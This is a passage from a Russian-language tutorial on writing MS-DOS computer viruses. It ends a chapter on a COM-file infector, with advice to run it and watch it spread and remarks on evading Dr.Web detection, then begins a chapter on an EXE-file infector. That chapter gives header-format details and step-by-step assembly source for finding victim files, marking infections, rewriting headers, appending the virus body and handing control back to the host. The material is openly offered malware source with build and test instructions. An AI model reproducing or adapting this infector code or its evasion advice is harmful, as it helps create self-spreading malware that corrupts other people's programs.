  3231.                                      ;раммы ...
  3232.  
  3233.             db '1'                ;И ее последний
  3234.                                      ;байт ...
  3235.  
  3236.    prg ends                          ;Стандартное
  3237.    end start                         ;" окончание "
  3238.                                      ;ASM - программы
  3239.  
  3240.  
  3241.                     2.26 Комментарии
  3242.  
  3243.    В отличие от предыдущего,разработанный в этой гла-
  3244.    ве  вирус может отыскивать файлы для  заражения на
  3245.    всем жестком диске и даже на дискетах . Это делает
  3246.    его довольно заразным и быстро распространяющимся.
  3247.    Поэтому  сложность " конструкции "  окупается  эф-
  3248.    фективностью работы вирусного кода .
  3249.    Вместе с тем,наш вирус имеет определенный недоста-
  3250.    ток .Ведь его обнаруживает такая  распространенная
  3251.    программа, как DOCTOR WEB !В следующей части будет
  3252.    рассказано о способах  разработки вирусов,  против
  3253.    которых алгоритм эвристического анализа  оказывае-
  3254.    тся малоэффективным .
  3255.  
  3256.  
  3257.                   2.27 Испытание вируса
  3258.  
  3259.    Для исследования работы вируса откомпилируйте  его
  3260.    исходный текст  для  получения COM - файла . После
  3261.    чего запустите этот COM - файл .
  3262.    " Пройдитесь " по различным каталогам и понаблюда-
  3263.    йте,  как вирус  заражает файлы при смене текущего
  3264.    каталога .Попробуйте перейти на другой диск и про-
  3265.    следите за действиями вируса .И последнее,проверь-
  3266.    те, заражается  ли  командный процессор .Все выше-
  3267.    указанные  действия нужно проводить очень аккурат-
  3268.    но и не рисковать важными программами, так как ви-
  3269.    рус, который мы изготовили, весьма заразный, из-за
  3270.    чего у вас могут быть неприятности .
  3271.    Кроме того, очень советую вам " пройти "  заражен-
  3272.    ную  программу  отладчиком  до точки  входа в про-
  3273.    граммный код .
  3274.    И,наконец,при инсталлированном в память машины ви-
  3275.    русном коде запустите программу DOCTOR WEB в режи-
  3276.    ме поиска резидентных вирусов . Вы убедитесь,  что
  3277.    наш вирус обнаруживается как неизвестный .
  3278.  
  3279.  
  3280.                  ЧАСТЬ 2 . EXE - ВИРУСЫ
  3281.  
  3282.  
  3283.           ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
  3284.                       EXE - ВИРУСА
  3285.  
  3286.  
  3287.             1.1  Формат EXE - файла на диске
  3288.  
  3289.    Каждый EXE - файл,  хранимый на диске,  состоит из
  3290.    заголовка,таблицы настройки и собственно программ-
  3291.    ных кодов и данных.В заголовке содержится информа-
  3292.    ция для настройки адресов и установки значений ре-
  3293.    гистров процессора, которая используется при  заг-
  3294.    рузке программы .Поскольку понимание структуры за-
  3295.    головка очень важно для изучения данной и последу-
  3296.    ющей глав, мы рассмотрим ее уже сейчас .
  3297.    Итак,заголовок EXE - файла при хранении его на ди-
  3298.    ске имеет следующий формат :
  3299.  
  3300.    Байты 0,  1 : Содержат код 4D5Ah, или " MZ "
  3301.  
  3302.    Байты 2,  3 : Содержат остаток от деления  размера
  3303.                  загрузочного модуля на 512
  3304.  
  3305.    Байты 4,  5 : Содержат размер файла в 512-ти  бай-
  3306.                  товых страницах, округленный в боль-
  3307.                  шую сторону
  3308.  
  3309.    Байты 6,  7 : Содержат число элементов таблицы на-
  3310.                  стройки адресов
  3311.  
  3312.    Байты 8,  9 : Содержат размер заголовка в парагра-
  3313.                  фах
  3314.  
  3315.    Байты 0A,0B : Содержат минимальное число  дополни-
  3316.                  тельных параграфов,которые нужны за-
  3317.                  груженной программе
  3318.  
  3319.    Байты 0C,0D : Содержат максимальное число дополни-
  3320.                  тельных параграфов
  3321.  
  3322.    Байты 0E,0F : Содержат смещение в параграфах  сег-
  3323.                  мента стека в загрузочном модуле;на-
  3324.                  зовем его SS0
  3325.  
  3326.    Байты 10,11 : Содержат значение регистра SP, кото-
  3327.                  рое устанавливается перед  передачей
  3328.                  управления программе ( SP0 )
  3329.  
  3330.    Байты 12,13 : Содержат контрольную сумму  EXE-фай-
  3331.                  ла
  3332.  
  3333.    Байты 14,15 : Содержат значение регистра IP, кото-
  3334.                  рое устанавливается перед  передачей
  3335.                  управления программе ( IP0 )
  3336.  
  3337.    Байты 16,17 : Содержат смещение в параграфах  сег-
  3338.                  мента кода  в загрузочном модуле,или
  3339.                  CS0
  3340.  
  3341.    Байты 18,19 : Содержат расстояние в байтах от  на-
  3342.                  чала файла до первого элемента  таб-
  3343.                  лицы настройки адресов
  3344.  
  3345.    Байты 1A,1B : Содержат "0", если данная часть про-
  3346.                  граммы является резидентной, или от-
  3347.                  личное от  нуля число - если  данная
  3348.                  часть является оверлейной
  3349.  
  3350.    Заметим, что контрольная сумма определяется сумми-
  3351.    рованием всех слов, содержащихся в файле,без учета
  3352.    переполнения.При этом она практически нигде не ис-
  3353.    пользуется.
  3354.  
  3355.  
  3356.        1.2  Загрузка и выполнение EXE - программы
  3357.  
  3358.    Действия MS DOS при запуске EXE - программы  отли-
  3359.    чаются от действий при запуске программы типа COM,
  3360.    хотя  в обоих случаях операционная система исполь-
  3361.    зует одну и ту же функцию EXEC. Действия этой фун-
  3362.    кции при запуске EXE - программы выглядят так :
  3363.  
  3364.    1. Запускаемой  программе  отводится  вся  свобод-
  3365.    ная в данный момент оперативная память .Сегментная
  3366.    часть начального адреса этой памяти обычно называ-
  3367.    ется начальным сегментом программы.
  3368.  
  3369.    2. По нулевому  смещению в  сегменте, определяемом
  3370.    начальным сегментом программы,EXEC строит PSP про-
  3371.    граммы.Заполняет PSP по-прежнему операционная сис-
  3372.    тема, а его размер, как и для COM - программы, ра-
  3373.    вен 256 байт .
  3374.  
  3375.    3. Сразу вслед за PSP загружается сама EXE - прог-
  3376.    рамма.Причем в память помещается исключительно за-
  3377.    грузочный модуль, а заголовок и таблица  настройки
  3378.    в память не копируются.После этого выполняется так
  3379.    называемая  настройка адресов . Ее  суть состоит в
  3380.    следующем :
  3381.    Некоторые команды  (например, команды далекого пе-
  3382.    рехода или вызова процедуры, расположенной в  дру-
  3383.    гом программном сегменте) требуют указания  не то-
  3384.    лько  смещения,  но и сегмента адреса .Компоновщик
  3385.    строит EXE - модуль относительно  некоторого " на-
  3386.     чального " адреса,но ведь в MS DOS программы могут
  3387.    загружаться в произвольную область памяти !Поэтому
  3388.    при загрузке программы к каждому сегментному адре-
  3389.    су  прибавляется значение начального сегмента про-
  3390.    граммы . Этот процесс и называют настройкой  адре-
  3391.    сов .У вас может возникнуть вопрос,  откуда MS DOS
  3392.    знает, где расположены требующие настройки элемен-
  3393.    ты .Для получения такой информации система исполь-
  3394.    зует таблицу  настройки, которая находится в файле
  3395.    по некоторому  смещению от его начала .Само смеще-
  3396.    ние хранится в заголовке в байтах 18h, 19h .
  3397.  
  3398.    4. EXEC  выполняет настройку регистров процессора.
  3399.    Обозначим начальный сегмент программы буквами NS0.
  3400.    Тогда устанавливаемые значения регистров будут вы-
  3401.    глядеть так :
  3402.    DS = ES = NS0
  3403.    CS = NS0 + 10h + CS0
  3404.    IP = IP0
  3405.    SS = NS0 + 10h + SS0
  3406.    SP = SP0
  3407.    CS0, SS0, IP0 и SP0 берутся загрузчиком из заголо-
  3408.    вка EXE - файла, а NS0 становится известным в про-
  3409.    цессе загрузки .
  3410.  
  3411.    5. Теперь загруженную EXE - программу можно испол-
  3412.    нить . Для этого EXEC передает управление по адре-
  3413.    су CS : IP .
  3414.  
  3415.    Стоит заметить, что размер EXE - файла в MS DOS не
  3416.    ограничивается  размером одного сегмента  и  может
  3417.    быть очень большим ( примерно 65535*512 = 33553920
  3418.    байт !). Правда,для построения очень больших EXE -
  3419.    программ используется оверлейная структура.При ис-
  3420.    полнении программы, имеющей оверлейную структуру ,
  3421.    она не загружается в память целиком.Вместо этого в
  3422.    память помещается только ее резидентная часть, ко-
  3423.    торая по мере необходимости подгружает те или иные
  3424.    оверлейные фрагменты .
  3425.  
  3426.  
  3427.         1.3 Как вирус может заразить EXE - файл
  3428.  
  3429.    Как и при заражении COM - программ,  при заражении
  3430.    EXE - файлов вирусный код может записываться в ко-
  3431.    нец,начало или в середину файла.Запись в конец фа-
  3432.    йла,как и в предыдущем случае,реализуется наиболее
  3433.    просто,и кроме того,предохраняет от многих трудно-
  3434.    стей при отладке .Поэтому мы создадим вирус, рабо-
  3435.    тающий имено по такому принципу .
  3436.    Для того,чтобы при старте зараженной программы код
  3437.    вируса получил управление, следует соответствующим
  3438.    образом модифицировать заголовок EXE - файла . Для
  3439.    этого  исходные  значения  CS0 и IP0 заменяются на
  3440.    точку входа в  вирусный код,  а значения SS0 и SP0
  3441.    " переключаются " на собственный стек вируса.Кроме
  3442.    того, поскольку при заражении изменяются длина за-
  3443.    грузочного модуля и длина файла, необходимо  скор-
  3444.    ректировать поля заголовка по смещению 02h, 03h, а
  3445.    также 04h, 05h .Вот и все .
  3446.    Может показаться, что создать вирус,заражающий EXE
  3447.    - файлы, намного сложнее, чем COM - вирус . Однако
  3448.    это не так . Прочтите эту главу,  и вы убедитесь в
  3449.    этом !
  3450.  
  3451.  
  3452.         1.4 Работа вируса в зараженной программе
  3453.  
  3454.    Рассмотрим теперь действия вируса при получении им
  3455.    управления .
  3456.    Итак, вирус функционирует по такому алгоритму :
  3457.  
  3458.    1. Ищет на диске подходящий EXE - файл .
  3459.  
  3460.    2. Записывает свое тело в конец этого файла .
  3461.  
  3462.    3. Корректирует  заголовок   заражаемой  программы
  3463.    следующим образом :
  3464.  
  3465.       a.) Вместо исходных CS0 и IP0  заражаемой  про-
  3466.           граммы записываются значения,  обеспечиваю-
  3467.           щие передачу управления вирусному  коду при
  3468.           запуске программы .
  3469.  
  3470.       б.) Исходные  SS0 и SP0 заменяются на значения,
  3471.           обеспечивающие переключение на  собственный
  3472.           стек вируса .
  3473.  
  3474.       в.) Корректируется  остаток от деления  размера
  3475.           загрузочного модуля на 512 .
  3476.  
  3477.       г.) Поскольку при заражении длина файла  увели-
  3478.           чивается, корректируется размер файла в ст-
  3479.           раницах ( одна страница равна 512 байт )  .
  3480.  
  3481.    Естественно, перед корректировкой вирус обязан со-
  3482.    хранить исходные параметры заголовка -ведь они по-
  3483.    требуются при передаче управления вирусному коду .
  3484.    После коррекции заголовок записывается на диск .
  3485.  
  3486.    4. Выполняет вредные действия, предусмотренные ав-
  3487.    тором .
  3488.  
  3489.    5. Определяет значения CS, IP, SS и SP,необходимые
  3490.    для правильной работы программы,из которой старто-
  3491.    вал вирус .
  3492.  
  3493.    6. Передает управление зараженной  программе . Для
  3494.    этого вирус использует команду безусловного  даль-
  3495.    него перехода.Адрес перехода задается вычисленными
  3496.    CS и IP .После этого начинается обычное выполнение
  3497.    программы .
  3498.  
  3499.  
  3500.                    1.5 Начало работы
  3501.  
  3502.    Как и COM - вирус, EXE - вирус лучше разрабатывать
  3503.    в формате COM .Это убережет нас от многих ненужных
  3504.    трудностей .Поэтому напишем стандартное начало COM
  3505.    программы :
  3506.  
  3507.    prg segment
  3508.       assume cs:prg,ds:prg,es:prg,ss:prg
  3509.          org 100h
  3510.  
  3511.    Как вы помните, директива "assume cs:prg,ds:prg,es
  3512.     :prg,ss:prg" назначает сегментные регистры сегмен-
  3513.    ту  с именем PRG, а директива "org 100h"  резерви-
  3514.    рует место для PSP вирусной программы .
  3515.  
  3516.  
  3517.              1.6 Вирус получает управление
  3518.  
  3519.    В отличие от COM - вируса,наша запускающая програ-
  3520.    мма после запуска не будет  заменять в памяти свои
  3521.    первые три байта командой перехода на функцию  DOS
  3522.    завершения программы . По  этой  причине можно  не
  3523.    бояться, что в заражаемый файл попадет испорченный
  3524.    вирусный код (см. п. 1.17 предыдущей части).Отсюда
  3525.    следует,  что директива " org 110h" нам не  потре-
  3526.    буется .Значит,можно сразу переходить " к делу " :
  3527.  
  3528.    vir:       mov ax,cs              ;AX = CS ...
  3529.               db 2dh                 ;SUB AX,00h
  3530.    sub_ds     dw 0                   ;
  3531.               mov ds,ax              ;
  3532.               mov ss,ax              ;
  3533.  
  3534.               mov ah,1ah             ;Переключим DTA
  3535.            lea dx,new_dta         ;на соответству-
  3536.                                      ;ющий массив в
  3537.               int 21h                ;области данных
  3538.                                      ;вируса ...
  3539.  
  3540.    При компиляции относительные адреса всех ячеек па-
  3541.    мяти определяются относительно DS, который  указы-
  3542.    вает на начало PSP .Но в зараженной программе  при
  3543.    передаче управления на код вируса регистр CS будет
  3544.    указывать на параграф, с которого начинается  этот
  3545.    код, а не на начало PSP, а регистр DS вообще  ока-
  3546.    жется настроенным на начальный сегмент программы !
  3547.    Единственный способ получить доступ к данным виру-
  3548.    са заключается в установке DS = CS.А с учетом раз-
  3549.    мера PSP в 10h параграфов значение DS следует уме-
  3550.    ньшить как раз на эту величину .При заражении того
  3551.    или иного файла поле " sub_ds " для него будет за-
  3552.    полняться значением 10h.Поскольку запускающая про-
  3553.    грамма имеет COM - формат,  для нее CS = DS = SS =
  3554.    = ES,  и все они указывают на начало PSP . Поэтому
  3555.    значение  DS корректировать  не нужно,  и  в  поле
  3556.    " sub_ds " запускающей программы помещается ноль .
  3557.    Дальше вирус  переключает DTA на массив "new_dta",
  3558.    расположенный  в области данных вируса . Поскольку
  3559.    начальный сегмент  программы станет известным  при
  3560.    ее запуске,можно будет без особого труда восстано-
  3561.    вить адрес исходной DTA.
  3562.  
  3563.  
  3564.                 1.7 Ищем подходящий файл
  3565.  
  3566.    Теперь наш вирус может заняться поиском файла-жер-
  3567.    твы .Как мы договорились, вирус будет заражать EXE
  3568.    - файлы, значит, такой файл и нужно найти . Но по-
  3569.    скольку фрагмент, который производит поиск  файлов
  3570.    с тем или иным расширением уже был создан, остает-
  3571.    ся только воспользоваться им, внеся некоторые  из-
  3572.    менения :
  3573.  
  3574.               mov ax,old_ip          ;Скопируем исхо-
  3575.               mov my_ip,ax           ;дные параметры
  3576.               mov ax,old_cs          ;заголовка зара-
  3577.               mov my_cs,ax           ;женной програм-
  3578.               mov ax,to_16h          ;мы в ячейки па-
  3579.               mov my_16h,ax          ;мяти " my_XX ",
  3580.               mov ax,old_ss          ;так как ячейки
  3581.               mov my_ss,ax           ;" old_XX ", в
  3582.               mov ax,old_sp          ;которых хранят-
  3583.               mov my_sp,ax           ;ся параметры,
  3584.                                      ;будут испорчены
  3585.                                      ;при заражении
  3586.                                      ;нового файла
  3587.  
  3588.    find_first:mov ah,4eh             ;Поиск первого
  3589.            mov cx,00100110b       ;файла :
  3590.            lea dx,maska           ;archive, system
  3591.            int 21h                ;hidden ...
  3592.            jnc r_3
  3593.            jmp restore_dta
  3594.  
  3595.    find_next: mov ah,3eh             ;Закроем  непод-
  3596.               mov bx,descrypt        ;ходящий файл
  3597.            int 21h
  3598.            jnc r_2
  3599.            jmp restore_dta
  3600.  
  3601.    r_2:       mov ah,4fh             ;Поиск следующе-
  3602.            int 21h                ;го ...
  3603.            jnc r_3
  3604.            jmp restore_dta
  3605.  
  3606.    r_3:       mov cx,12              ;Очистим об-
  3607.            lea si,fn              ;ласть " fn "
  3608.    kill_name: mov byte ptr [si],0
  3609.            inc si
  3610.            loop kill_name
  3611.  
  3612.               xor si,si              ;И перепишем
  3613.    copy_name: mov al,byte ptr new_dta[si + 01eh]
  3614.            cmp al,0               ;туда имя най-
  3615.            je open_file           ;денного файла
  3616.            mov byte ptr fn[si],al
  3617.            inc si
  3618.            jmp copy_name
  3619.  
  3620.    open_file: mov ax,3d02h           ;Откроем файл
  3621.            lea dx,fn              ;для чтения и
  3622.            int 21h                ;записи ...
  3623.            jnc found_size
  3624.            jmp r_2
  3625.  
  3626.    found_size:mov descrypt,ax        ;Определим раз-
  3627.               mov cx,word ptr [new_dta + 01ch]
  3628.               mov dx,word ptr [new_dta + 01ah]
  3629.               sub dx,1               ;мер файла и вы-
  3630.               sbb cx,0               ;чтем из него
  3631.                                      ;единицу  ...
  3632.               call setpointer        ;Установим ука-
  3633.                                      ;затель на пос-
  3634.                                      ;ледний символ
  3635.  
  3636.    read_last: mov cx,1               ;Прочитаем
  3637.               lea dx,last            ;последний
  3638.               call read              ;символ ...
  3639.            jnc compar
  3640.               jmp close_file
  3641.  
  3642.    compar:    cmp last,'7'           ;Это "семерка" ?
  3643.            jne mmm                ;Нет
  3644.    to_next:   jmp find_next          ;Да ! Файл уже
  3645.                                      ;заражен, и надо
  3646.                                      ;искать другой
  3647.  
  3648.    Вы, вероятно, уже поняли,что каждая новая програм-
  3649.    ма  составляется нами из ранее разработанных  бло-
  3650.    ков, как из конструктора.Это сильно упрощает рабо-
  3651.    ту и сокращает время на составление программ .Было
  3652.    бы странно не воспользоваться готовыми фрагментами
  3653.    и заново преодолевать все трудности !
  3654.    Вместе с тем, использованный фрагмент пришлось не-
  3655.    сколько модифицировать,чтобы он смог правильно ра-
  3656.    ботать в новой программе .Первое внесенное измене-
  3657.    ние состоит в дублировании исходных значений заго-
  3658.    ловка программы, из которой стартовал вирус.В ком-
  3659.    ментариях рассказано, зачем это потребовалось.Сле-
  3660.    дющее изменение вызвано тем, что EXE - файл  может
  3661.    быть длиннее 64 Кбайт.Поэтому для установки указа-
  3662.    теля  на последний байт файла недостаточно  просто
  3663.    вычесть единицу из его размера.Например,пусть дли-
  3664.    на файла равна 10000h байт . В этом  случае из DTA
  3665.    будут считаны такие числа :CX = 0001h и DX = 0000h
  3666.    (см. выше) .Теперь для обращения к последнему эле-
  3667.    менту  файла из пары CX : DX следует вычесть "1" .
  3668.    Если просто вычесть единицу из DX,  то мы  получим
  3669.    следующее :CX = 0001h, DX = 0FFFFh, то есть полно-
  3670.    стью абсурдное значение . Чтобы такого не происхо-
  3671.    дило,  нужно применить команду  " вычитание с зае-
  3672.     мом ",  которая будет отнимать от CX значение фла-
  3673.    га переноса CF - " ноль " или " один " .
  3674.    И  последнее - вместо  непосредственной  установки
  3675.    указателя мы будем просто вызывать процедуру "set-
  3676.     pointer ", текст которой несложен и рассматривает-
  3677.    ся в конце главы .
  3678.  
  3679.  
  3680.               1.8 Читаем заголовок файла
  3681.  
  3682.    Наш EXE-вирус должен получать управление при стар-
  3683.    те зараженного файла .С этой целью он может  моди-
  3684.    фицировать заголовок файла,как показано в п. 1.4 .
  3685.    Проще всего будет считать заголовок найденной EXE-
  3686.    программы с диска, после чего сделать  необходимые
  3687.    изменения и записать его обратно на диск.А так как
  3688.    предыдущий  фрагмент  вирусной программы уже нашел
  3689.    подходящий  EXE - файл,  самое время прочитать его
  3690.    заголовок :
  3691.  
  3692.    mmm:       xor cx,cx              ;Установим ука-
  3693.               xor dx,dx              ;затель на нача-
  3694.               call setpointer        ;ло файла ...
  3695.  
  3696.               mov ah,3fh             ;И считаем инте-
  3697.            mov bx,descrypt        ;ресующую нас
  3698.               mov cx,27              ;часть заголовка
  3699.                                      ;в массив " hea-
  3700.                                       ;der " .Она как
  3701.                lea dx,header          ;раз занимает 27
  3702.            int 21h                ;байт...
  3703.                jnc next_step          ;
  3704.                jmp restore_dta        ;Ошибка чтения !
  3705.  
  3706.     Работа  фрагмента  довольно проста  и пояснений не
  3707.     требует .
  3708.  
  3709.  
  3710.           1.9 Производим необходимые вычисления
  3711.  
  3712.     Теперь наша задача состоит в следующем : Используя
  3713.     числа, полученные из заголовка и некоторые вспомо-
  3714.     гательные данные, рассчитать новые параметры заго-
  3715.     ловка EXE - программы.Напомним,что необходимо най-
  3716.     ти :
  3717.  
  3718.     Новые значения CS0, IP0, SS0 и SP0
  3719.  
  3720.     Новый остаток от деления размера загрузочного  мо-
  3721.     дуля на 512
  3722.  
  3723.     Новый размер файла в 512 - ти байтовых страницах,
  3724.     округленный в большую сторону
  3725.  
  3726.     Кроме того,следует найти такое значение указателя,
  3727.     которое  обеспечило бы запись вирусного кода в ко-
  3728.     нец файла . Это значение будет исходным для проце-
  3729.     дуры " setpointer ", которая предназначена для ус-
  3730.     тановки указателя в файле .
  3731.  
  3732.     Перед началом вычислений вирус должен  "запомнить"
  3733.     исходные параметры заголовка, чтобы можно было ис-
  3734.     пользовать их для расчета правильной точки входа и
  3735.     переключения стека с области данных вируса на стек
  3736.     зараженной программы при передаче ей управления :
  3737.  
  3738.                                       ;Запомним пара-
  3739.                                       ;метры заголовка
  3740.                                       ;в переменных
  3741.                                       ;" old_XX " ...
  3742.     next_step: mov ax,word ptr header[14h]
  3743.                mov old_ip,ax
  3744.                mov ax,word ptr header[16h]
  3745.                mov old_cs,ax
  3746.                mov ax,word ptr header[0eh]
  3747.                mov old_ss,ax
  3748.                mov ax,word ptr header[10h]
  3749.                mov old_sp,ax
  3750.  
  3751.     После этого можно приступить к вычислениям.Но сна-
  3752.     чала следует привести принятые для расчета  форму-
  3753.     лы .Обозначим :
  3754.  
  3755.     Остаток от деления размера загрузочного модуля  на
  3756.     512 - Исходный : при вычислениях не используется
  3757.           Вычисленный в результате коррекции ( в даль-
  3758.           нейшем - " вычисленный " ) : Header [02h]
  3759.  
  3760.     Размер файла в 512 - ти байтовых страницах -
  3761.           Исходный : File_size
  3762.           Вычисленный : Header [04h]
  3763.  
  3764.     Смещение в параграфах стекового сегмента в  загру-
  3765.     зочном модуле -
  3766.           Исходное : SS0
  3767.           Вычисленное : Header [0eh]
  3768.  
  3769.     Смещение в параграфах  кодового сегмента в  загру-
  3770.     зочном модуле -
  3771.           Исходное : СS0
  3772.           Вычисленное : Header [16h]
  3773.  
  3774.     Значение указателя стека SP при передаче  управле-
  3775.     ния программе -
  3776.           Исходное : SP0
  3777.           Вычисленное : Header [10h]
  3778.  
  3779.     Значение указателя команд IP при передаче управле-
  3780.     ния программе -
  3781.           Исходное : IP0
  3782.           Вычисленное : Header [14h]
  3783.  
  3784.     Размер заголовка в параграфах -
  3785.           Head_size
  3786.  
  3787.     Длина вируса в байтах -
  3788.           Vir_len
  3789.  
  3790.     Старшая часть указателя для записи вируса в  конец
  3791.     файла -
  3792.           F_seek_high
  3793.  
  3794.     Младшая часть указателя -
  3795.           F_seek_low .
  3796.  
  3797.     CS0, IP0, SS0 и SP0 в этих расчетах не используют-
  3798.     ся,но мы сохранили их в выделенных ячейках памяти.
  3799.  
  3800.     Тогда можно привести такие формулы :
  3801.  
  3802.     Header [16h] = File_size * 32 - Head_size
  3803.  
  3804.     Header [04h] = (File_size * 512 + Vir_len) / 512 -
  3805.                    частное от деления + 0,если остаток
  3806.                                           равен нулю
  3807.                                       + 1,если остаток
  3808.                                           не равен ну-
  3809.                                           лю
  3810.  
  3811.     Header [02h] = (File_size * 512 + Vir_len) / 512 -
  3812.                    остаток от деления
  3813.  
  3814.     Header [14h] = 0
  3815.                    При этом первая исполняемая  коман-
  3816.                    да вируса будет находиться по адре-
  3817.                    су : CS : 0000h, CS = Header [16h].
  3818.  
  3819.     Header [0eh] = Header [16h], чтобы можно было  об-
  3820.                    ратиться к стеку вируса,задав в ка-
  3821.                    честве SP " расстояние "  от начала
  3822.                    вирусного  кода  до последних  слов
  3823.                    стека .
  3824.  
  3825.     Header [10h] = смещению к New_stack + 96h, послед-
  3826.                    нее  слагаемое  зависит от  размера
  3827.                    вирусного стека .
  3828.  
  3829.     F_seek_high  = File_size * 512 ( High )
  3830.  
  3831.     F_seek_low   = File_size * 512 ( Low )
  3832.  
  3833.     Все  расчеты по приведенным формулам можно  выпол-
  3834.     нить с помощью таких программных строк :
  3835.  
  3836.                mov ax,word ptr header[04h]
  3837.                mov cl,5
  3838.                shl ax,cl
  3839.                cmp ax,0f000h
  3840.                jna good_size
  3841.                jmp find_next
  3842.     good_size: mov bp,ax
  3843.                sub ax,word ptr header[08h]
  3844.                mov to_16h,ax          ;Это число запи-
  3845.                                       ;шется в Header
  3846.                                       ;[16h]
  3847.                mov ax,bp
  3848.                xor dx,dx
  3849.                call mover
  3850.                mov f_seek_low,ax
  3851.                mov f_seek_high,dx
  3852.                cmp dx,word ptr [new_dta + 01ch]
  3853.                jl to_next
  3854.                ja infect
  3855.                cmp ax,word ptr [new_dta + 01ah]
  3856.                jl to_next
  3857.     infect:    add ax,vir_len
  3858.                adc dx,0
  3859.                mov bx,512
  3860.                div bx
  3861.                cmp dx,0
  3862.                je round
  3863.                inc ax
  3864.     round:     mov to_04h,ax          ;Это число запи-
  3865.                                       ;шется в Header
  3866.                                       ;[04h]
  3867.  
  3868.                mov to_02h,dx
  3869.                mov word ptr header[02h],dx
  3870.                mov ax,to_04h
  3871.                mov word ptr header[04h],ax
  3872.                mov word ptr header[14h],0
  3873.                mov ax,to_16h
  3874.                mov word ptr header[16h],ax
  3875.                mov word ptr header[0eh],ax
  3876.      mov word ptr header[10h],offset ds:new_stack + 96
  3877.                mov sub_ds,10h
  3878.  
  3879.     В приведенном тексте широко используются команды :
  3880.  
  3881.     ADC - сложение с переносом .Эта команда определяет
  3882.     сумму задаваемых операндов и прибавляет к ней зна-
  3883.     чение флага переноса CF
  3884.     и
  3885.     SBB - вычитание с заемом . Команда определяет раз-
  3886.     ность задаваемых операндов и вычитает из нее  зна-
  3887.     чение флага CF .
  3888.     Такие команды потребовались для того,  чтобы можно
  3889.     было учесть переполнения, возникающие при работе с
  3890.     файлами длиннее 64 Кбайт .Заметьте, что при разра-
  3891.     ботке COM - вирусов они не применялись вообще .
  3892.     Процедура " mover " заимствована из книги П .Абеля
  3893.     "Язык ассемблера для  IBM PC и программирования" и
  3894.     предназначена для умножения двойного слова CX : DX
  3895.     на 16 методом сдвига .
  3896.     Хотелось бы сказать о том, как наш вирус определя-
  3897.     ет, содержит ли файл внутренние оверлеи .Для этого
  3898.     он просто сравнивает размер файла в параграфах,по-
  3899.     лученный из заголовка по смещению 04h с размером,
  3900.     считанным из DTA.Верным признаком присутствия вну-
  3901.     тренних оверлеев является следующий факт :
  3902.     Размер, полученный из DTA больше значения,  вычис-
  3903.     ленного по параметрам заголовка . Заражать " овер-
  3904.    лейный " файл по принятому нами алгоритму нельзя,
  3905.     и  наш  вирус при обнаружении  такого файла просто
  3906.     попробует найти другую EXE - программу . Сам алго-
  3907.     ритм заражения оверлейных файлов отличается  высо-
  3908.     кой сложностью и ненадежностью и в данном  пособии
  3909.     не рассматривается .Стоит заметить, что  далеко не
  3910.     все вирусы корректно работают с такими файлами,  а
  3911.     многие просто их портят .
  3912.  
  3913.  
  3914.               1.10 Заражаем EXE - программу
  3915.  
  3916.     После того, как скорректирован заголовок файла,мо-
  3917.     жно его заразить.Напомним, что при заражении вирус
  3918.     должен перезаписать на диск модифицированный заго-
  3919.     ловок, после чего поместить свой код в конец файла
  3920.     - жертвы :
  3921.  
  3922.                xor dx,dx              ;Устанавливаем
  3923.                xor cx,cx              ;указатель на
  3924.                call setpointer        ;начало файла
  3925.                jc close_file          ;
  3926.  
  3927.                lea dx,header          ;И записываем
  3928.                mov cx,27              ;измененный за-
  3929.                call write             ;головок на диск
  3930.                jc close_file
  3931.  
  3932.                mov dx,f_seek_low      ;Устанавливаем
  3933.                mov cx,f_seek_high     ;указатель на
  3934.                call setpointer        ;определенное
  3935.                                       ;ранее место в
  3936.                                       ;файле
  3937.                jc close_file
  3938.  
  3939.                lea dx,vir             ;И записываем на
  3940.                mov cx,vir_len         ;диск вирусный
  3941.                call write             ;код
  3942.  
  3943.     close_file:xor ax,ax              ;Закроем зара-
  3944.                mov ah,3eh             ;женный файл
  3945.                mov bx,descrypt        ;
  3946.                int 21h                ;
  3947.  
  3948.     Строго говоря, код вируса записывается не за  пос-
  3949.     ледним байтом файла .Это имеет место только  когда
  3950.     размер файла кратен 512 .Во всех остальных случаях
  3951.     вирусный код помещается в файл по смещению,опреде-
  3952.     ляемому размером файла в 512 - ти байтовых страни-
  3953.     цах .Конечно, число страниц округляется в  большую
  3954.     сторону . Например,  при размере файла в 1025 байт
  3955.     вирус будет считать, что его длина составляет  три
  3956.     полных страницы, а при размере в 4096 байт - всего
  3957.     восемь ! Такая система сильно упрощает процесс со-
  3958.     здания вирусной программы и ее отладку .
  3959.  
  3960.  
  3961.                  1.11 Восстанавливаем DTA
  3962.  
  3963.     Итак, вирус выполнил свою работу - найден и  зара-
  3964.     жен подходящий EXE - файл .Дальше необходимо пере-
  3965.     ключить DTA  с области данных вируса  на область в
  3966.     PSP программы, из которой он стартовал . Поскольку
  3967.     начальный сегмент программы известен ( он хранится
  3968.     в регистре ES, которым мы не пользовались ),несло-
  3969.     жно найти адрес исходной DTA .Он равен ES : 80h .И
  3970.     поэтому :
  3971.  
  3972.     restore_dta:
  3973.                push ds                ;DS -> в стек
  3974.                mov ah,1ah             ;Восстановим
  3975.                mov dx,080h            ;адрес DTA зара-
  3976.                mov bp,es              ;женной програм-
  3977.                mov ds,bp              ;мы с помощью
  3978.                int 21h                ;функции DOS 1Ah
  3979.                pop ds                 ;DS <- из стека
  3980.  
  3981.     В этом фрагменте адрес DTA устанавливается с помо-
  3982.     щью функции DOS 1Ah ( см.ПРИЛОЖЕНИЕ 1).Новый адрес
  3983.     должен быть помещен в DS : DX,  что мы и сделали .
  3984.     Команда " push ds " записывает  в стек  содержимое
  3985.     регистра DS, так как этот регистр используется для
  3986.     задания адреса,и поэтому его значение будет испор-
  3987.     чено .
  3988.  
  3989.  
  3990.              1.12 Восстанавливаем точку входа
  3991.  
  3992.     Далее  необходимо  передать  управление зараженной
  3993.     программе ( конечно,  не только что зараженной,  а
  3994.     той, из которой стартовал вирус ) .Для этого нужно
  3995.     восстановить ее исходную точку входа,а также пере-
  3996.     ключить стек  с вирусной области  данных  на стек,
  3997.     предусмотренный разработчиком программы .
  3998.     Чтобы произвести все необходимые вычисления,мы ис-
  3999.     пользуем параметры заголовка программы,  сохранен-
  4000.     ные ранее в ячейках " my_XX " .
  4001.     При передаче управления на код вируса в регистр CS
  4002.     было  помещено  такое  значение : CS = NS0 + 10h +
  4003.     + Header [16h], и это значение нам  известно - оно
  4004.     сейчас находится в CS .С другой стороны, настоящая
  4005.     точка входа EXE - программы имеет сегментный адрес
  4006.     CS = NS0 + 10h + my_cs . Таким образом, достаточно
